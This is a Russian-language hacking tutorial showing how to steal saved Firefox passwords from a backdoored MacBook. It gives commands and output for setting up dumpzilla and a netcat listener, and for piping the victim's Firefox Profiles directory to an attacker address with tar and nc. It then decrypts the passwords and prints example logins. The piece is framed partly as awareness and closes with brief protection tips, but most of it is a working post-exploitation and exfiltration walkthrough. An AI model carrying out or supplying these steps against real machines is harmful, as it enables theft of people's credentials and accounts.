29 марта, 2024

Как удаленно сохранять пароли из браузера Firefox

Содержание:

Пароли и данные, хранящиеся в веб-браузерах, чрезвычайно важны для хакеров. Для денежной выгоды или как способ развлечения «черношляпных» хакеров. Не думайте, что лично вы не представляете для них интереса.

И хотя мы определенно не «черные шляпы», обнаружение интересных способов выполнения пост-эксплуатации забэкдоренного MacBook было интересным опытом. До сих пор удивляемся тому, как легко злоупотреблять теми инструментами, которые встроены в macOS, и как легко установить стороннее программное обеспечение для проведения последующей эксплуатации компьютера Mac.

Продолжая серию по взломам macOS, на этот раз мы покажем, как хакеры могут легко получить доступ к чувствительным директориям Firefox и как можно извлекать пароли с помощью dumpzilla, комплексного экспертного инструмента. Вне зависимости от того, к каким хакерам вы себя относите — к белошляпным или черношляпным, эта информация может быть вам полезной. Кроме того, обычные пользователи Mac узнают, как простые действия вроде сохранения паролей в браузерах, могут поставить под угрозу их личные данные.

Читатели должны знать, что эта атака выполнялась из бэкдора с низкими правами (без прав администратора) против Firefox 60 на macOS 10.13 с включенным брандмауэром и антивирусом AVG.

Шаг 1. Установите зависимости Dumpzilla

Первым делом из вашей системы Kali установите несколько пакетов с помощью pip. Pip — это пакетный менеджер, используемый для установки и управления пакетами Python. Эти пакеты необходимы для запуска dumpzilla. Полная команда — pip install logging lz4

pip install logging lz4

Collecting logging
  Downloading https://files.pythonhosted.org/packages/93/4b/979db9e44be09f71e85c9c8cfc42f258adfb7d93ce01deed2788b2948919/logging-0.4.9.6.tar.gz (96kB)
    100% |████████████████████████████████| 102kB 69kB/s
Building wheels for collected packages: logging
  Running setup.py bdist_wheel for logging ... done
  Stored in directory: /root/.cache/pip/wheels/7d/2e/cb/a51fbdf351b2efebcf857f8b2c8d59b6ccd44ea2e9bb4005d6
Successfully built logging
Installing collected packages: logging
Successfully installed logging-0.4.9.6

На самом деле зависимостей больше. Самый простой способ установки, который мы нашли — установка с помощью APT. Введите apt-get install python3 sqlite3 python-lz4 libnss3 *.

apt-get install python3 sqlite3 python-lz4 libnss3*

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  sqlite3-doc
The following NEW packages will be installed:
  python-lz4 sqlite3
0 upgraded, 2 newly installed, 0 to remove and 274 not upgraded.
Need to get 879 kB of archives.
After this operation, 2,591 kB of additional disk space will be used.
Get:1 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 python-lz4 amd64 0.10.1+dfsg1-0.2 [16.6 kB]
Get:2 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 sqlite3 amd64 3.23.1-1 [863 kB]
Fetched 879 kB in 15s (60.0 kB/s)
Selecting previously unselected package python-lz4.
(Reading database ... 181720 files and directories currently installed.)
Preparing to unpack .../python-lz4_0.10.1+dfsg1-0.2_amd64.deb ...
Unpacking python-lz4 (0.10.1+dfsg1-0.2) ...
Selecting previously unselected package sqlite3.
Preparing to unpack .../sqlite3_3.23.1-1_amd64.deb ...
Unpacking sqlite3 (3.23.1-1) ...
Setting up python-lz4 (0.10.1+dfsg1-0.2) ...
Setting up sqlite3 (3.23.1-1) ...
Processing triggers for man-db (2.8.3-2) ...

Шаг 2. Скачайте Dumpzilla

После того, как требуемые пакеты будут установлены, можно скачать dumpzilla.

Читать также:  Как обойти сетевую систему обнаружения вторжений, используя Snort

На момент написания этой статьи в последней версии dumpzilla проявляется баг, который приводит к сбою автоматического декодирования паролей, сохраненных в Firefox. К счастью, GitHub хранит историю комитов каждой версии, доступ к которой пользователи могут получить в любое время.

В будущих релизах dumpzilla можно будет просто клонировать репозиторий к себе на комп и продолжить прорабатывать эту статью. На данный момент вы должны загрузить эту версию dumpzilla с помощью команды wget. Эта версия была протестирована и она совершенно нормально декодирует пароли, хранящиеся в Firefox.

wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'

Шаг 3. Разархивируйте Dumpzilla

Wget создаст новый файл с именем b3075d1960874ce82ea76a5be9f58602afb61c39.zip. Сжатые файлы dumpzilla внутри него можно извлечь с помощью команды unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip.

unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip

Archive:  b3075d1960874ce82ea76a5be9f58602afb61c39.zip
b3075d1960874ce82ea76a5be9f58602afb61c39
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addinfo.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addons.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/bookmarks.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cert_override.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cookies.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_dir.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/exceptions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/extensions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/forms.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/offlinecache.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/passwords.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/permissions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/session.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/thumbnails.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/README.md
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla.py

После извлечения dumpzilla перейдите в только что созданный каталог «dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/», используя команду cd.

cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/

Шаг 4. Предоставьте файлам нужные права

Для этого используйте команду chmod, чтобы убедиться, что файл dumpzilla.py имеет права на выполнение в Kali.

chmod + x dumpzilla.py

Шаг 5. Установите «прослушивателя» Netcat

Когда закончите с установкой dumpzilla, запустите «прослушивателя» Netcat, чтобы получать папки Firefox, отправленные с забэкдоренного MacBook’a.

nc -l-p 9999 | tar x

Эта команда даст указание Netcat прослушивать (-l) порт (-p) 9999 и затем транслировать (|) входящие данные в команду tar. Tar — консольная утилита для архивирования, доступная как в Kali, так и в macOS. Следующий за командой tar флаг x, сообщает tar автоматически извлекать и сохранять данные (сжатые каталоги), поступающие из канала Netcat. Каталоги сжимаются во время передачи Netcat’ом. Это делается для упрощения процесса обработки получаемых данных.

Читать также:  Как восстановить данные на жестком диске за 4 простых шага

Вот и все, что касается скачивания dumpzilla и настройки Netcat для получения данных Firefox. Сейчас мы покажем, как получить все каталоги Firefox с забэкдоренного MacBook.

Шаг 6. Получение директорий из забэкдоренного MacBook’а

Наверняка вы знаете о возможности Firefox управлять несколькими профилями. Профили обычно используются продвинутыми пользователями с целью изоляции и разграничения их истории, закладок и куков для работы, школы, личных дел.

Как правило, у большинства пользователей Firefox есть только один профиль «по умолчанию» (default). В macOS профили пользователей находятся вот в этом каталоге:

/Users//Library/Application Support/Firefox/Profiles/

Обратите внимание на часть в пути к этой директории. У каждого пользователя MacBook есть собственный каталог Profiles/. И по умолчанию у пользователя нет прав на чтение или просмотр профилей, принадлежащих другим пользователям.

Например, если MacBook Боба скомпрометирован с использованием поддельного PDF-файла, когда Боб был залогинен в своем аккаунте, то хакер не сможет увидеть другие профили Firefox на этом MacBook. По крайней мере, он этого не сможет сделать без прав администратора, но их получение — тема для отдельной статьи.

С другой стороны, если целевой MacBook был физически забэкдорен, то у злоумышленника, вероятно, будет полный root-доступ (права администратора) ко всем учетным записям и профилям Firefox.

Будем придерживаться первоначальной задачи — только сохранить профиль Firefox одной отдельной учетной записи. Для этого удаленно подключитесь к забэкдоренному MacBook’у с помощью следующих нескольких команд.

Перейдите в каталог Profiles/ с помощью команды cd.

cd '/Users//Library/Application Support/Firefox/'

Затем используйте приведенную ниже команду tar для сжатия (cf) каталога Profiles/ (и всего его содержимого) и направления (|) данных в команду Netcat (nc). Система и IP-адрес хакера представлены как 1.2.3.4, поэтому не забудьте изменить IP-адрес на VPS или локальный IP-адрес, используемый хакером.

tar cf — Profiles/ | nc 1.2.3.4 9999

Пока Netcat передает содержимое этой директории, терминалы будут казаться зависшими. Для завершения передачи и сохранения данных за последние 12 часов потребуется около двух минут. Можно себе представить, сколько может занять времени получение данных профиля Firefox с историей браузера, куки-файлами за несколько месяцев и с сотнями закладок. Поэтому придется потерпеть. Если какие-либо из этих данных в каталогах профилей повреждены во время их передачи в систему Kali, то сохраненные в них пароли могут не расшифровываться.

Читать также:  Как решить, какая скорость доступа в интернет вам нужна

Шаг 7. Расшифровка паролей

Вернемся на машину с Kali. Там появится новый каталог Profiles/. В нем будет по крайней мере один каталог, у которого имя в общем виде будет выглядеть вот так: xxxxxxxx.default/. По умолчанию Firefox автоматически генерирует восемь случайных символов (xxxxxxxx) и добавляет их к имени профиля. Например, пользователи с несколькими профилями могут иметь каталоги, называемые «w9wuahzu.work/», «ei49j03w.personal/» и «r3h84t9t.default». Каждый каталог можно обрабатывать индивидуально с помощью dumpzilla.

Чтобы извлечь пароли, найденные в определенном профиле Firefox, используйте команду python3 dumpzilla.py Profiles/xxxxxxxx.default/ —Passwords.

python3 dumpzilla.py Profiles/xxxxxxxx.default/ --Passwords

=============================================================================================================
== Decode Passwords
============================================================================================================
=> Source file: /tmp/dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/9kwbffy3.default/logins.json
=> SHA256 hash: 9df5b2c418bbb967e63b556162e6d11ed509a9a5c67580f3c79e089d954ade91

Web: https://accounts.google.com
Username: kevin.poulsen
Password: Porsche944

Web: https://www.reddit.com
Username: [email protected]
Password: DarkDante23

Web: https://www.amazon.com
Username: [email protected]
Password: DarkDante944

Web: https://login.live.com
Username: [email protected]
Password: DarkDante123

Web: https://www.netflix.com
Username: [email protected]
Password: Porsche944

Web: https://login.aliexpress.com
Username: Poulsen
Password: Jordan626

===============================================================================================================
== Total Information
==============================================================================================================

Total Decode Passwords     : 7
Total Passwords            : 7

Как защититься против атак веб-браузеров

Только не думайте, что вам стоит прекратить использовать Firefox, или что Google Chrome более безопасен. Вовсе нет, Google Chrome так же уязвим для действий, описанных в этой статье. Вместо того, чтобы искать более защищенные веб-браузеры, подумайте о небольшой коррекции ваших поведенческих привычек, которые могут сделать выполнение таких атак трудной задачей.

Используйте режим браузеров «Инкогнито». Dumpzilla может сделать намного больше, чем просто извлекать пароли из Firefox. Безопаснее всего всегда использовать браузеры в режиме «Инкогнито». Хотя это может быть неудобно и сделает серфинг по интернету несколько неудобным, но еще хуже доверять свои данные веб-браузерам. Сохраненные данные браузеров, содержащие десятки адресов электронной почты и паролей, свободно распространяются в сообществах черношляпных хакеров. Если хакеры не продают ваши данные, то они наносят ущерб вашим учетным записям просто из развлечения.
Используйте мастер-пароль. Если сохранение паролей в Firefox — это удобство, которое вы не хотите терять, то используйте сильный мастер-пароль. Это создаст защиту умеренной силы против таких хакерских атак.
Используйте хороший менеджер паролей. Менеджеры паролей предлагают улучшенную защиту сохраненных паролей. Хакеры все еще могут извлекать данные с вашего компьютера и проводить брутфорс-атаки по базам данных менеджера паролей, но с сильным и уникальным паролем злоумышленникам придется потратить недели (или месяцы) на взлом базы данных.

Добавить комментарий